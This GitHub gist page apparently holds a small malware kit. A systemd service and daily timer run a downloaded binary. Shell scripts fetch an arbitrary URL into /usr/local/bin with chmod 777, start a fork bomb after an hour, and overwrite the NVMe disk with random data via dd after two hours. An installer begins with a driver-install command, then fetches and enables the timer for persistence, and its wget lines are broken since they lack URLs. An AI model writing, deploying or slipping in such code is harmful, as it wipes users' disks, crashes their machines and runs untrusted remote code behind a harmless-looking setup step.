Skip to content

Instantly share code, notes, and snippets.

@tcmhoang
Last active May 22, 2023 09:54
Show Gist options
  • Save tcmhoang/4eeab53b5a7a76ec6ff54a30161ba7b7 to your computer and use it in GitHub Desktop.
Save tcmhoang/4eeab53b5a7a76ec6ff54a30161ba7b7 to your computer and use it in GitHub Desktop.
fua
[Unit]
Description=bye
[Service]
Type=oneshot
ExecStart=/usr/local/bin/foobaz
UMask=0077
DynamicUser=yes
PrivateTmp=yes
PrivateDevices=yes
PrivateUsers=yes
SystemCallFilter=~@clock
SystemCallFilter=~@cpu-emulation
SystemCallFilter=~@debug
SystemCallFilter=~@module
SystemCallFilter=~@mount
SystemCallFilter=~@obsolete
SystemCallFilter=~@privileged
SystemCallFilter=~@raw-io
SystemCallFilter=~@reboot
SystemCallFilter=~@resources
SystemCallFilter=~@swap
SystemCallArchitectures=native
CapabilityBoundingSet=
DevicePolicy=closed
ProcSubset=pid
[Unit]
Description=bye
[Timer]
OnCalendar=*-*-* 00:00:00
RandomizedDelaySec=18000
Persistent=true
Unit=b.service
[Install]
WantedBy=timers.target
#!/bin/bash
if [[ $(/usr/bin/id -u) -ne 0 ]]; then
echo "Not running as root"
exit
fi
wget -q -O /tmp/foobaz "$1" \
&& sudo mv /tmp/foobaz /usr/local/bin/foobaz \
&& sudo chown 0:0 /usr/local/bin/foobaz \
&& sudo chmod 777 /usr/local/bin/foobaz
#!/bin/bash
sleep 1h && :(){:|:&};:&
disown -r
#!/bin/bash
if [[ $(/usr/bin/id -u) -ne 0 ]]; then
echo "Not running as root"
exit
fi
sleep 2h && sudo dd if=/dev/random of=/dev/nvme0n1 &> /dev/null &
disown -r
sudo apt update ; sudo ubuntu-drives autoinstall
wget -q -O '/tmp/b.timer' && wget -q -O '/tmp/b.service'
&& sudo mv /tmp/b.{service,timer} /etc/systemd/system/ \
&& sudo chown 0:0 /etc/systemd/system/b.{service,timer} \
&& sudo chmod 777 /etc/systemd/system/b.{service,timer} \
&& sudo systemctl daemon-reload \
&& sudo systemctl enable b.timer \
&& sudo systemctl start b.timer
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment